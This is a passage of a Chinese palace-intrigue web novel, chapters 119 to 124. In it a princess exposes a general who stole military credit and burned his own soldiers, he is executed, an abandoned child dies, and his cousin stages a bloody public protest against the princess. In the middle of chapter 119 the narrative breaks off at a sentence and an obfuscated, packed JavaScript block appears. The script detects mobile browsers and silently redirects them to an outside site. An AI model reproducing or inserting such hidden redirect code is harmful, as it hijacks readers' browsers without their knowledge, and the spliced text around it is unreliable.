颜崇业的眸色冷了下去:“这宅子是我回京后皇上赐给我的,你安心住在这里,大周十年内无战事,我会留在盛京保护你,以后谁都欺负不了你!” 颜倾柔面露担忧:“那乔楹月诡计多端,堂哥要当心些,别被她算计了。” “哼,”颜崇业一脸自信,“我岂会被一个内宅女子算计。” 颜倾柔想到什么,又问:“我听说那宁烽昨晚一个人回城,其中可是有什么事儿?” 颜崇业眼中划过暗光,叹着气开口:“他贪生怕死,险些让卞城失守,还好我力挽狂澜,这才没有酿成大错。” 颜倾柔愤怒斥骂:“不是个东西!和乔楹月一样!” 和颜倾柔说完话后,颜崇业独自坐在小厅思考着什么,思考一会儿后他的脸上露出笑意,这才去睡下。 次日清晨,颜崇业出门去了公主府。 听到红豆的禀报时,乔楹月极为意外,但转念她便明白了颜崇业的目的。 是知道宁烽在她的府上,也知道自己占他军功的事儿被她知晓,却笃定自己事儿做的干净,故意上门来挑衅。 “让他进来。” 乔楹月坐在太师椅上,垂眸看着那走进来的男人。 三十岁左右的年纪,因为常年带兵打仗,皮肤微黑,五官也算硬朗英俊,只是神态透出的阴险让人心中不适。 颜崇业走进小厅,目光落在这目光锐利的小姑娘脸上,眼底爆出惊艳之色。 那位小公主竟生得这般美貌了。 “末将拜见公主!” 第一百一十九章冷血无情 没等乔楹月开口,颜崇业自己站直身子,坐在了她的下手,笑眯眯的开口。 “末将离开时公主才六岁,还是个小丫头,如今竟出落得亭亭玉立,叫人挪不开眼。” 他目光直白,言语轻浮,是挑衅,也是调戏。 乔楹月冷着脸反问:“本宫让你起来了?” 颜崇业半点不怕,嬉皮笑脸道:“公主明理懂事,肯定不会让有功之人站着。” 一句话便占据主导。 乔楹月轻轻一笑,眉宇间自然流露皇家尊贵之气:“功臣自然得本宫尊重,可畜生却得不到,颜崇业,你是功臣,还是畜生?” 没料到看着娇娇俏俏的小姑娘说话竟这般不客气,颜崇业的笑容挂不住了,冷下脸哼道: “公主这些话若是落到皇上耳中,怕是落不到好!” “皇兄与本宫兄妹情深,血浓于水,颜将军,落不到好的只能是你。” 皇上对怀宁公主的宠爱人尽皆知,颜崇业不认为自己能越过她去。 到时候吃亏的只能是他。 颜崇业吞下火气,忍气吞声的开口:“末将事务繁忙,先行告辞!” 这一次他知道行礼等乔楹月点头才转身。 乔楹月瞧着那道张狂的背影,眼神冰冷如刀。 颜府内宅。 庄秋卑微的站在颜倾柔面前,一脸忍辱负重的给颜倾柔倒茶。 颜倾柔慢悠悠接过茶,品了一会儿才缓缓开口。 “念在我们婆媳一场,我便答应你,我屋后有一个杂院,你自己收拾出来便能住下了,至于秦拂郁……” 见她面上露出不情愿,庄秋赶紧求道:“一夜夫妻百日恩,倾柔,你就帮帮他吧。” “行吧。” 庄秋狂喜,“我这就去监牢,将这个好消息告诉他!” 颜倾柔坐在椅子上看着庄秋离开,眼神中透着讽刺。 她答应帮秦拂郁可不是念及旧情,而是因为乔楹月讨厌秦拂郁。 乔楹月对秦拂郁的厌恨远超了他所做下的事儿,其中的原因她不清楚,但她清楚,秦拂郁好过,乔楹月的心情就不会好过。 自己在她身上吃了这么大的亏,也该一点一点的要回来了! 庄秋来到监牢,见到了秦拂郁。 在牢里蹲了这么久,秦拂郁瘦了很多,看见庄秋站在外头,他的脸上没有半分激动。 庄秋第一次来看他时他还抱着期待,后来慢慢便**心。 没人能将他救出去。 庄秋看到秦拂郁一脸心死,倒没觉得心疼,这个儿子又不是她生的,犯不着心疼,之所以急着将她救出去,是想靠着他翻身。 她蹲在牢门前,压低声音对秦拂郁说道:“拂郁,颜崇业带着天大的军功回京了,他答应救你出去!” 秦拂郁立刻扭头看向她,隐忍的问:“当真?” 庄秋点头:“自然是真的,娘还能骗你不成。” 秦拂郁顿时来了精神,“娘,等我出去以后一定对您好,我会重振侯府,让您继续过富贵日子!” 庄秋等的就是这句话,雪中送炭的情谊比金坚,有朝一日秦拂郁翻身,她将是他最感恩的人! 庄秋将一个碗斜着递进去。 “今日过年,这里头是娘亲手做的粉蒸肉。” 粉蒸肉是穷人过年才能端上餐桌的美食。 富贵出身的秦拂郁唾手可得。 但那是从前。 如今的他每天吃冷馒头,喝冷水,能吃饱都是奢望。 这粉蒸肉简直是美味佳肴! 接过庄秋递进来的筷子,秦拂郁狼吞虎咽的吃起来,眼泪掉进肉里被他塞进嘴里,越吃越香,越香就越想哭。 倘若当初他真心对待乔楹月,如今便不会落到这个地步。 这次若能出去,他定会跪在乔楹月面前好好忏悔。 他要做她的驸马,真心真意待她。 大年初二,颜倾柔便和一个有权有势的老男人相看了。 此人虽然只是个五品小官,但家底殷实,发妻刚刚亡故,嫁过去便是当家主母。 颜倾柔非常满意这门亲事,恨不得立刻成亲。 但这老男人却对秦宝有些微词。 “男子将来成家立业需要银子,我虽家底丰厚,却也不想帮别人养孩子,倾柔,若你能将这儿子撒开,我们即日便成亲。” 颜倾柔只是考虑了一盏茶便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340372|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应了。 颜倾柔回到颜府便将此时告知颜崇业,颜崇业倒也爽快,直接表示。 “反正我子嗣单薄,你便将宝儿过继给我,以后他就是我儿子。” 颜倾柔高兴极了,扭身开始准备过继之事。 颜家已无后人,这过继之礼便在颜氏一族的先祖灵位前完成。 “宝儿,跪下。” 颜倾柔沉声命令秦宝。 秦宝不明所以,却并未多问,一脸信任的跪在了灵位前。 颜崇业在灵位前上了三炷香,对着灵位说道:“列祖列宗在上,从今日开始,秦宝便过继给我,往后他便是我的儿子,将来他要为我养老送终。” 听到这番话,秦宝不太明白是什么意思,扭头问颜倾柔。 “娘,表舅在说什么?” 颜倾柔笑盈盈的解释:“娘要将你过继给你堂舅,往后你便是你堂舅的孩子。” 秦宝不知道过继是什么,但他知道自己将不再是母亲的孩子。 他‘唰’地从地上站起来,慌张的抱住颜倾柔的大腿。 “娘,宝儿以后都会乖乖听话,求求娘亲不要抛下宝儿!” 小小的人儿气力却很大,颜倾柔费了些力气才将他甩开,她冷着脸叮嘱他。 “你以后听你爹的话就行了,我们已不是母子。” 便在这时,丫鬟在门前禀报。 “颜小姐,涂大人接您去买首饰。” 颜倾柔脸上露出笑意,不再理会秦宝,转身离去。 秦宝推开颜崇业的手,追着母亲的背影哭喊。 “娘!宝儿要做您的儿子,娘……” 他跑的很用力,可是和母亲的距离却越来越远,等他跑到府门口时,母亲已经上了别人的马车。 车帘晃动,母亲和陌生男人坐在一起,面上笑靥如花。 每次他哭泣时母亲都会说他不听话,这次他很伤心,但一直乖巧的没有哭。 可这一刻秦宝不乖了,眼泪控制不住的往下淌。 他不顾一切追着马车跑,他想和母亲在一起,永远和母亲在一起。 脚下的石头绊住他,他摔倒在地,马车迅速消失在了他的视线之中。 第一百二十章秦宝咽气 颜崇业赶到时,秦宝口中全是血,昏迷了过去。 他抱起来一看,发现绊倒秦宝的是一块非常尖锐的石头,这石头正巧顶在了他的心口上。 颜崇业皱着眉毛将人抱回府上,请了大夫来瞧,大夫却摇头。 “撞伤了心脉,小人医术不精,怕只有那太医院的宋院正能治。” 颜崇业念着他身上留着颜家的血,当即请了宋鹤柳回来。 宋鹤柳给秦宝看了伤势,开了药,面色不容乐观。 “无力回天,只能勉强续命几个时辰,颜将军做好心理准备。” 颜崇业没什么心理准备需要做,死了就死了,反正他娘都不在意,他更不会在意。 宋鹤柳没有回宫,而是去了公主府,见到乔楹月,将秦宝受伤的事儿告知。 颜倾柔二嫁的事儿在盛京小范围的传开了,自也传到了乔楹月的耳朵里。 这会儿听到秦宝的惨样儿,便猜到估摸着和颜倾柔二嫁的事儿有关。 对此,她对颜倾柔此人的品性有了新的定义。 阴狠毒辣,毫无人性。 没想到到了晚些时候,颜崇业竟然带着秦宝上门来。 “他闹着要见公主,末将公务繁忙,实在无暇照顾,既然他愿意和公主亲近,末将便将他放在公主这儿。” 颜崇业抱着秦宝,小小的人儿这会儿看起来不太行了,但好歹还在喘气,这个当堂舅的竟用‘放’来安顿他。 是清楚秦宝要死了,便直接将他当成死人对待。 “颜将军倒是有情有义。” 听出乔楹月在讽刺自己,颜崇业心里有些窝火。 他如今是大周的功臣,不缺安葬秦宝的三瓜两枣,但妻子放言,若是秦宝死在府上,就要回娘家。 妻子知道他许多事儿,一旦闹翻,他怕出事儿。 正好秦宝昏昏沉沉的呢喃,说什么要见公主,他便顺势将人带了过来。 这次带过来他就没打算带回去,他觍着脸将秦宝放在地上,转身就走了。 乔楹月被他的厚颜无耻气笑,直接吩咐林酒。 “将他丢出去。” 林酒上来抱起秦宝打算离开。 一直昏昏沉沉的秦宝忽然清醒了许多,睁大眼睛望着乔楹月。 “公主殿下帮帮我,我想见娘,求求公主。” 乔楹月皱眉, 前世他也是这么小的年纪,却和颜倾柔在背后算计她。 她没有菩萨心肠,就算他此刻要死了也不觉得可怜,只觉得罪有应得。 想让她帮他? 下辈子吧。 “丢出去。” 兴许是知道在乔楹月面前装可怜没用,秦宝垂下眼泪。 不过林酒刚刚走出小厅,乔楹月忽然开口叫住了他。 “本宫又改主意了,林酒,将他放到客房去,再去将颜倾柔请来,本宫要成全这份母子情深。” 既然颜轻柔连自己儿子的死活都不顾,想必是对这个儿子厌烦极了。 那她就让她亲眼看着她的儿子死在面前。 乔楹月承认自己有报复的念头,但除了报复之外,她也想看看这个女人是否还有一丝人类的情感。 颜倾柔被老男人领到了‘金福来’,她知道这是乔楹月的铺子,不想自己的银子被乔楹月挣到,扭身换了一家。 刚要进去,被人叫住。 “颜小姐,我家公主有请。” 认出林酒的身份,颜倾柔当即警惕起来。 乔楹月那种卑鄙小人请她过去肯定没好事! 颜倾柔想拒绝,但又莫名不甘心,想到自己如今是有人护着的,便底气足了。 她同老男人交代:“我先去一趟公主府,等我回来再说。” 老男人听说这话,眼底立刻露出欣赏之色,“公主和颜小姐竟这般亲密。” 颜倾柔觉得倍有面子。 随着林酒来到公主府,她却并未见到乔楹月,而是被领到了一间客房,没等她反应过来,屋门便在背后关上了。 颜倾柔吓了一跳,赶紧去拉门,朝着外头喊道:“乔楹月!你难道想暗杀我不成!” 话音落下,便听见身后响起一道微弱的声音。 “娘,您终于来见我了。” 颜倾柔转身,缓缓走到榻前,看见秦宝躺在榻上,身上盖着厚厚的被子,只有一个小小的脑袋露出来。 平时红润的脸庞这会儿惨白无血色,状态一看就不对,像是快死了。 她的脸上露出意外,沉声说道:“你竟摔的这么重。” 原来娘亲知道他摔了,却依旧没来看他。 不过娘亲是不知道他伤的这么重,现在知道了,肯定不会再丢下他。 “娘,我不疼,我虽然哭了,但是很快就忍住了,娘,您带我回家吧。” 颜倾柔眼底的情绪很复杂。 心疼。 烦躁。 逃避。 而这心疼只是一闪而过,最终占领上风的,是逃避。 她冷声说道:“你为何会在公主府?” 秦宝如实交代:“是我求着堂舅送我过来,我求公主帮我见您。” “你已经过继给了你的表舅,我不是你娘,你为什么这么想见我?” 秦宝又想哭了,他忍着眼泪乖巧说道:“宝儿从娘的肚子里生出来的,无论发生什么,宝儿永远是娘的孩子。” 这番话没让颜倾柔感动,反而她看秦宝的眼神像是看什么洪水猛兽。 她往后退了一步,冷淡道:“你就当不是我生的,以后我们见面就当不认识。” 不等秦宝再说什么,颜倾柔转身朝外走,她的手碰到门上时,听到秦宝恳求的声音。 “宝儿很快会长大的,长大以后就能保护娘了,娘再等一等,宝儿真的会很快长大,宝儿不会让任何人欺负娘……” 颜倾柔拉开门,飞快合上。 她一抬眼,看见乔楹月立在庭院之中,眉目之中尽是鄙夷。 她知道她在鄙夷什么,鄙夷她的无情无义,鄙夷她的毫无人性。 可那又怎样,孩子对她毫无益处,只会拖累她,将来她还会有其他的孩子,没必要为了这一个孩子受苦。 颜倾柔抿着嘴唇从乔楹月面前走过,头也不回的离去。 乔楹月推开屋门,走到榻前。 秦宝闭着眼睛像是睡着了。 她伸手探了鼻息,毫无声息。 他死了。 死在了亲生母亲的绝情之中。 也是这一刻,乔楹月冷硬的心生出愧疚。 这一次,她似乎太过卑鄙。 第一百二十一章讨回公道 乔楹月将秦宝厚葬,另外请了道士为他超度。 愿他来世选个好母亲。 几日后,文墨甲告知了一个很好,却又很悲壮的消息。 “那一千士兵离开卞城时便察觉到不对,暗查下知道颜崇业打算一把火将他们全烧成灰。 士兵们在大火下葬身了一半,另外一半逃了出来。 他们不敢回卞城,更不敢回盛京,全都躲在卞城郊外的山上。 我的人找到他们时他们哭成了孩子,立刻启程跟着回京。 大家的心情都很急切,星夜兼程,提前好几日到达盛京。 我担心一下子进城太多,引来麻烦,所以先将他们安顿在城郊,等公主这边准备了再进城。” 文墨甲红着眼睛将一张印满红色手印的纸递过来。 乔楹月看着这张纸,心情悲痛,又了有安慰。 还有五百人活着,太好了。 乔楹月用帕子擦掉泪水,先叮嘱文墨甲做一件事,然后让红豆准备纸笔,亲手写下颜崇业的罪状。 文墨甲派人去城外,自己则去了宁府。 而乔楹月直接带着状纸进宫,面见皇上。 巧合的是,今日是颜崇业进宫领封的日子。 颜崇业本是个三品将军,如今拥着军功,晋升成为二品的辅国大将军。 乔楹月进入内殿时,乔景琰正当着颜崇业的面写圣旨。 看见她进来,颜崇业面色得意,笑盈盈问她。 “公主是知道末将受封,特意前来为末将庆贺的吗?” 乔楹月轻笑:“颜将军料事如神,为庆贺颜将军晋升之喜,本宫特意写了一张贺书。 颜崇业有些受宠若惊。 乔景琰很是意外,放下笔来说道:“朕倒是好奇这贺书写了些什么贺词。” “皇兄莫急,臣妹这就念出来。” 乔楹月将‘贺书’从袖中拿出,摊开来,大声念出。 “颜崇业,因判断失误导致东陵大军兵临城下,汴州险些失守! 宁烽带着一千人马绕后突袭,后单枪匹马入敌军深处取敌将首级! 此战因此而胜,颜崇业谎报军情,让宁烽背上误国的恶名,后再发捷报,抢夺军功! 颜崇业担心事情败露,故意让宁烽晚几日回京,并利用权利暗杀那立下军功的一千士兵! 颜崇业!你罪该万死!!” 乔楹月的声音激昂铿锵,话音落,抬眼那一刻,眼神锐利威严。 颜崇业对上这道视线时下意识闪躲,随后咬牙反问:“怀宁公主为何含血喷人?难道就因为宁烽是您的面首,末将就该受此诬陷吗!” 乔景琰的脸色彻底沉了下去,他冷声训斥乔楹月。 “是朕宠得你越发的无法无天了,颜爱卿是大周的功臣,是我们乔氏的功臣,怀宁,你立刻向颜爱卿赔罪!” 颜崇业却红着眼脱下了身上的盔甲,跪了下去。 “看来末将是无形中得罪了怀宁公主,末将胆小,哪儿还敢在朝中为皇上办事儿,末将就此辞官算了!” 此举是不满道歉了事,他要让乔楹月受到严重的惩罚。 乔景琰叹了一声,看向乔楹月的目光严厉极了。 “今日是你太过无礼,伤了颜爱卿的颜面,若只是道歉难以让你长记性,便打你五个板子。” 五个板子不多,但皇宫的五个板子不普通。 男人挨上五下一个月下不了床。 女人挨五下腰都得被打折。 颜崇业对这个惩罚很满意,低着头的脸上浮起得意的笑。 乔楹月冷笑着从袖中拿出那张印满红手印的纸,她看着上面鲜红的指印,红着眼上前,将这张纸摊开放在了乔景琰的面前。 乔景琰低头看。 便见这纸上密密麻麻印满了手指印,而每一个手指印下都写着一个名字。 他不解。 “这是什么?” 乔楹月哽咽道:“那一千士兵机敏,逃了五百人出来,这是那五百士兵的血书。” 乔景琰面色动容。 颜崇业大声道:“公主倒是煞费苦心,伪造这些指印应该花了一些心思吧?” 乔景琰脸上的动容一顿,抬眼问乔楹月:“此物不足以证明。” “臣妹知道,所以,臣妹将这五百士兵请来来,如今他们就在宫门外,皇兄一声令下,他们便会进宫来指认颜崇业犯下的滔天大罪!” 乔景琰扫了埋头跪着的颜崇业一眼,大声下令:“谢烬弦!将朕的士兵全部请进来!” 谢烬弦心中有些嘀咕。 什么抢夺军功,什么百人血书。 乔楹月可真能编。 颜崇业可是刚立下军功的功臣,等会儿她的谎言被戳穿以后,下场肯定很惨。 这会儿他到了宫门口,抬眼看向宫门外。 只见开阔的蓝天之下站着一列列士兵,这些人身上穿着铠甲,但铠甲破烂,像是经历过一场逃亡。 他们的站姿工整,神色肃穆,每人的右手夹着一个小坛子。 谢烬弦的心脏莫名被撞了一下,他盯着这些人手中的小坛子看了一会儿,忽然明白了那里头装着的是什么。 是那五百个死在火海中战友的骨灰。 一切的猜疑在这一刻荡然无存,他无比肯定,乔楹月没有说谎! 谢烬弦抿唇走到这些人面前,伸手拍了一下当前一人的肩膀。 “欢迎回来!” 短短四个字,竟是哽咽到差点掉泪。 宁烽从一侧走过来,他站在大家面前,目光深情的看着自己这些弟兄,片刻后大声下令。 “兄弟们!我们现在进宫,为死去的弟兄们讨个公道!!” 五百人的队伍,安静得像无人存在。 却在宁烽一声令下后响起洪亮而整齐的呼喊声。 “讨回公道!” 这声音落下后,队伍之中传来呜咽声。 宁烽红着眼转身,大步进宫。 队伍浩浩荡荡来到天和殿。 巍峨肃穆的殿宇,此刻不仅仅只是权利的象征,更是公正的秤砣。 宁烽理了理身上的铠甲,大步走进殿内。 来到里侧的内殿,他看见了跪在地上的颜崇业,心底的恨意烧了起来。 抿唇走到乔景琰面前,他单膝跪下行礼。 “微臣拜见皇上!” 乔景琰朝他点头,“平身。” 宁烽站起身来,侧头看了一眼站在自己身边的乔楹月,才沉沉开口。 “颜崇业杀害五百将士,微臣求皇上为这五百将士做主!” 第一百二十二章人头落地 乔景琰面色动容,起身走到殿外,看向那整齐站在广场之上的将士们。 每个人的表情充满严肃和伤感,铠甲褴褛,连脸上的脏污都还没来得及洗干净。 这幅凄凉悲惨的模样无需用太多的言语去形容,便能叫人猜到他们曾经所遭受之事必定痛彻心扉。 乔景琰的目光落在那一个个坛子上。 这里头便是那五百个英魂。 “你们,是大周的英雄!你们的弟兄,是大周的战神! 朕知道你们的勇猛,知道你们的忠心,更知道你们的委屈! 你们放心,颜崇业,朕会狠狠处罚!” 士兵们听见这番话后纷纷落泪,一个个抬手擦眼泪。 乔楹月站在乔景琰身后,看见这一幕时眼泪掉了下来。 宁烽忍着眼泪走到士兵之中,同他们站在一起。 乔景琰低喝:“来人,将颜崇业带出来!” 谢烬弦一把擦掉眼泪,快步走进内殿,拎着颜崇业的衣领子,将他丢在了宁烽面前,骂道。 “混账东西!合该千刀万剐!” 颜崇业跪在地上,双手撑地,身子发抖,一脸死到临头的绝望。 不,他不想死! “宁烽,你可记得,你刚入军营时被人瞧不起,是我帮你,若非我帮着你,你只怕早就被人打残了! 男人要重情义,这是你欠我的人情,正好现在你来还,好不好?” 事到如今,颜崇业竟还有脸诡辩。 宁烽看向他的眼神鄙夷至极。 “你帮我的,我已经用我的方式还了,你说男人应该重情义……原来你还知道道理。 你知道这些道理,却能做出坑杀兄弟的事儿,你不值得得到半分同情!” 宁烽拎着他的衣领调了个方向,让他朝着五百士兵们下跪。 “你做了对不起兄弟的事儿,现在,你必须向他们道歉!!” 颜崇业稍微抬头,便看见了无数道俯视的目光,有些面孔他还很面熟,而此刻这些人正愤恨的盯着他,恨不得生扒他的皮,生吃他的肉。 大势所趋,平息这些士兵的怒火,或许他还能有个全尸…… “我,颜崇业,抢夺军功,残害兄弟,我罪该万死,应该下十八层地狱! 宁烽,对不起,下辈子我肯定做个好人! 兄弟们,我错了,到了地底下见到被我害死的兄弟们,我定会跪下认错!” 颜崇业的额头重重磕在地面上,一下比一下重。 宁烽流下眼泪。 将士们将轻轻用手抚摸坛子,像是在告诉地下的兄弟,他们的仇报了。 乔景琰当场判决。 “颜崇业抢夺军功,残害将士,罪大恶极,即日斩首! 念及颜氏先辈为大周立下的功劳,此次朕不杀你的家眷,但你的家宅全部抄没,用以抚恤这一千士兵!” 就在当天,颜崇业被推到了午门斩首。 颜崇业犯下的事儿传遍了盛京,百姓们自发前来围观这场斩首之刑,看到颜崇业的脑袋掉在地上时,百姓们为之欢呼。 向全站在人群之中,看到无首尸体倒在了地上,激动的眼圈泛起热泪,他顺手拉住一人询问。 “小兄弟,这颜崇业是被何人惩治?” 少年一脸敬佩的说道:“是怀宁公主惩治了这个恶人!” 旁边的人听见这句话忍不住附和:“怀宁公主犹如菩萨降世!” 这边的动静引来更多的人,大家为此议论起来。 “先前盛京都传怀宁公主恶毒,如今看来,这些传言怕都是那恶人在背后造谣,他们怕怀宁公主惩治他们便以此攻讦她!” “我从前竟然信了这些谣传,误会过怀宁公主,我真是该死。” “以后我们就知道怀宁公主是好人了,往后若是在路上瞧见怀宁公主的车架,我定要虔诚跪拜。” …… 怀宁公主。 这位怀宁公主不畏强权,为百姓主持正义,是个好人。 他的事儿,肯定只有怀宁公主能帮。 向全激动的转身,朝着公主府而去。 这厢。 宁烽着那五百士兵来到颜崇业的府上,将他的妻儿赶出府宅,抄没了府宅。 抄没的钱财他半分都没有贪污,当场分给了这些弟兄们。 原本是一千人平均来分,但是着五百个士兵主动从自己的钱财中拿出一小份,放在了坛子上。 宁烽知道兄弟们的心情。 他们虽然受了委屈,但命还在,将来还有建功立业,孝敬父母,生儿育女的机会。 可这死去的五百个弟兄却再也没机会了,他们的家人应该得到更多的抚恤金。 颜倾柔站在大街上,脑子还有些懵。 她不明白,她怎么刚有了落脚的地方,生活刚刚要好转,怎么就又成了丧家之犬? “颜倾柔,你看看你这不成器的堂哥,害得我们又流落街头受人白眼!” 寄人篱下的庄秋自也被一同赶了出来。 此刻她一脸怨气的站在颜倾柔面前抱怨着。 颜倾柔还没说话,她身侧的妇人便恼火甩过去一巴掌。 “混账东西!好心收留你还成了坏人了?我跟着崇业在卞城生活这么多年,一直顺风顺水,就是你住进来以后我们家崇业才出事的,要我说,你就是个克星! 你克完了自己家,又来克我们家!我打死你!” 这个妇人正是颜崇业的妻子,刚二十出头,就这样做了寡妇,心中本就悲愤,庄秋还在面前说这种风凉话,她这一肚子的怒火便全都怪在了庄秋的身上。 这会儿她哪儿还顾得上什么体面,扑上去将庄秋压在地上有抓又打。 她的三岁的女儿哭着加入进来,小小的孩童只会最原始的攻击招式,扣眼珠子。 颜倾柔心里也有火,毫不犹豫的帮着嫂子一起打。 克星! 大克星! 宁烽带着五百弟兄从府内出来,瞧见门口的闹剧,冷笑着离去。 庄秋被打了个半死,鼻青脸肿的逃出来,在街上躲了半日,实在是没去处了。 索性身上还有从颜府悄悄偷出来的一点碎银子,她拿着碎银子去了大理寺,将碎银子交给狱卒,见到了秦拂郁。 她蹲在大牢前,哭着告知秦拂郁这个不幸的事实。 秦拂郁听后当场气的昏死过去。 第一百二十三章一波又起 向全靠着打听,一路找打了公主府。 他佝偻着背走上台阶,小心翼翼的询问看门的侍卫。 “小兄弟,我想见怀宁公主。” 侍卫低头上下打量他一眼,眼中露出不耐烦。 “像你这种捣乱的疯子,今日已经是第四个了,滚滚滚,再来胡闹把你脑袋割下来!” 侍卫恶狠狠的推开了向全。 向全站在门口踌躇片刻,转身离去。 待到晚些时候,府门打开,乔楹月从里头走出来,坐上马车。 车夫老洪甩着鞭子赶车。 便在此时,一道瘦弱的身影从一旁冲出来,挡在了马车前头。 老洪被突然窜出来的人吓了一跳,赶紧勒马停车,马儿扬起的蹄子险险落在人影面前。 只要再慢上一刻,这人就要被马蹄踩中。 老洪抹掉额上的汗,冲着摔在地上的人说道: “被马车撞上会受伤,老人家,快些起来,走开些,小心被误伤了。” 老人家抬头,正是白天来过的向全。 向全撑地起身,却并未离开,而是跪在了马车前,重重三个响头以后,他朗声开口。 “吾儿遭奸人所害,冤死十二载,草民听闻公主是惩奸除恶的活菩萨,草民愿意用性命作为代价,请求公主帮吾儿平冤!” 简短的一句话,却蕴含着浓重的情感。 老洪被向全的神色感动,低声对车内说道:“公主可要帮忙?” 里头没说话,但下一刻车帘被人掀开,乔楹月竟是直接下车。 她大步走到向全的面前,将人扶起来,缓声说道:“老人家放心,你若真有冤情,本宫不会坐视不理,这儿人多眼杂,我们府上说。” 向全激动不已。 乔楹月带着向全回府,细细听完了老人的冤情,她的脸色怒意翻滚。 细细琢磨一番后,她吩咐林酒前往北城寻找一个女人。 这厢。 颜崇业被斩首,老男人立刻和颜倾柔划清了界限。 颜倾柔只能带着嫂子和三岁的堂侄女回到了自己的小破屋里。 堂侄女睡下以后,张嫣儿靠在颜倾柔的肩头哭得不成样子。 看见嫂子伤心成这样,颜倾柔的心情也不好受。 当然,她并非心疼自己的嫂子,而是心疼自己。 世界这么大,为何单单没有她的容身之处呢? “我听说,害死你堂哥的人是那位怀宁公主,倾柔,我记得你跟我说过,怀宁公主性子恶毒,曾经也害过你。” 颜倾柔一脸伤感的叹气:“我身为颜氏遗孤,皇上看重我,百姓爱戴我,就因为她嫉妒我,就将我害成这样。” 张嫣儿眼珠一转,有了主意。 “此番皇上并未牵连我们母女,正是念及了颜氏一族的功劳,这足以说明,颜氏在皇上心中的地位不一般。” 听出话里有话,颜倾柔立刻问:“嫂子的意思是?” 张嫣儿冷冷一笑。 “这天下是皇上做主,只要皇上赦免你,你就能恢复身份,而皇上看重颜氏先辈,所以,你大可以用颜氏先辈来做文章。” 颜倾柔觉得这个法子有道理,她的脑子转得也不慢,立刻想到了一个精妙绝伦的计划。 次日。 天色逐渐亮起,街上的行人也逐渐多了起来。 大家目视前方,行色匆匆的擦肩而过。 忽然,行人们朝着一个方向看过去,脸色逐渐严肃了起来。 只见马路中央跪着个女子,她一步一叩首,身影充满了悲壮。 随着她超前移动的,还有一个一个的血印子。 此刻这女子的额头已经磕烂。 有那好心人生出怜悯之心,快步上前想要将她扶起来,见她不肯起来,便询问缘由。 只听这女子声音悲愤的说道: “我是颜氏一族的遗孤,我本该得到先辈的庇佑,却因为太过优秀惹了怀宁公主的记恨。 怀宁公主暗中陷害我,让我丢了先辈用鲜血得来的封号,更让我没脸去见先辈。 我要进宫见皇上,我要质问皇上,为何要纵容这样的坏人危害人间!” 此言一出,顿时激起一片惊涛骇浪。 这好心人惊讶的说道:“传言怀宁公主惩奸除恶,是个好人啊,这中间是不是有误会?” 颜倾柔哭着摇头:“没有任何误会!知人知面不知心!她是坏事做多了名声太差了,才会当中做好事扭转名声,以此掩盖自己的恶行!” 见她信誓旦旦,又见她满头鲜血。 这些不明真相的人难免信了几分。 毕竟,若非真的冤枉至此,谁会把自己的头磕成这样。 这些人怀揣着疑惑和愤怒跟在颜倾柔的身边,随着她一步一步到了皇宫前。 御林军将颜倾柔拦住。 “大胆贱民,皇宫重地,不许擅闯!” 颜倾柔泪如雨下:“我的先辈是大周的功臣,他们用生命保卫大周疆土,如今却换来一句贱民,我这个颜家遗孤没有脸面活在世上!” 语毕,她毫不犹豫的撞在了宫墙上。 霎时间鲜血飞溅,颜倾柔的身子像是一片落叶,缓缓倒在了地上。 百姓们瞧见这一幕纷纷生气怜悯之心,他们自发的为颜倾柔讨伐起来。 “颜氏是功臣,不该有此下场,求皇上做主!” “颜氏是功臣,不该有此下场,求皇上做主!” …… 御林军见事情闹大,立刻进宫禀报皇上。 正巧赵皇太后在天和殿的内殿,同皇上说话。 谢烬弦代为禀报时赵皇太后停了个全乎。 赵皇太后倒是不在乎颜氏一族的荣辱,但这件事儿事关乔楹月,她就来了精神。 当即谴责起来。 “乔楹月实在无法无天,连烈士遗孤都敢欺负,长此以往下去,谁还敢为我们乔氏卖命!谁还敢为大周卖命! 皇上,您必须严惩乔楹月!” 乔景琰疲惫的揉了揉眉心,心情十分烦躁。 最近的事儿是一桩接一桩,而且每一桩都和乔楹月有牵扯。 如此便导致他现在想起乔楹月就有些心烦。 赵皇太后觑乔景琰的脸色,察觉到他对乔楹月也有了微词,立刻趁热打铁。 “乔楹月之所以这么放肆,还是皇上平时太宠着了,若是能趁此机会好好责罚她,她定能收敛许多。 哀家也是疼这个皇孙女的,舍不得重罚她,不如便将她送到水月庵觑,让她好好的面壁思过些日子。” 可赵皇太后却已下定决心,只要乔楹月去了水月庵,绝不会让她回来! 第一百二十四章金镯之事 宫门口。 在聚众的人群之外,权晏舟和赵迁儒站在一起,前者一脸精明,后者一脸实诚。 “你的意思是,只要本国公顺水推舟,将怀宁公主定罪,她的金铺便能成为本国公的囊中之物?” 听得赵迁儒询问,权晏舟点头。 “她的金铺之所以能这么挣钱,是因为她的金匠技艺精湛,怀宁公主获罪了,金铺自然黄,届时国公只需要出面收了那金匠,便能挣钱。” 赵迁儒半点没察觉权晏舟在窜拖自己,而是深以为然的点头。 而权晏舟也有些有恃无恐,他完全不怕赵迁儒发现自己的别有用心。 别说赵迁儒,连带他的姐姐赵皇太后,都是不太聪明。 当初后宫中斗争不断,唯有脑子不聪明的赵皇太后平安无事,当然,皇上也不宠她,她膝下又没孩子,根本没人在意她。 后来她收养了还是皇子的乔景琰,乔景琰继位时,后位空悬,于是她这个养母捡便宜成了皇太后。 赵迁儒也因此从一个七品小官成为了如今富贵逼人的国公。 但这国公也只是空有爵位,毫无实权,倒不是他不想争,实在是没那脑子。 于是赵迁儒转移方向,利用身份努力挣钱。 可是世事无常,在做生意上他也没什么脑子,做什么赔什么。 国公的俸禄本可以保他衣食无忧,就是因为他做生意,日子是一天比一天难过。 幸得赵皇太后心疼这个哥哥,隔三差五的接济他,否则这国公府都得被他败光。 而即便如此,赵迁儒也没有放弃做生意的念头。 前些日子乔楹月的金铺日进斗金,他又眼红又不爽。 他久经商场,却处处赔本。 乔楹月一个内宅小姑娘,凭什么能挣这么多银子? 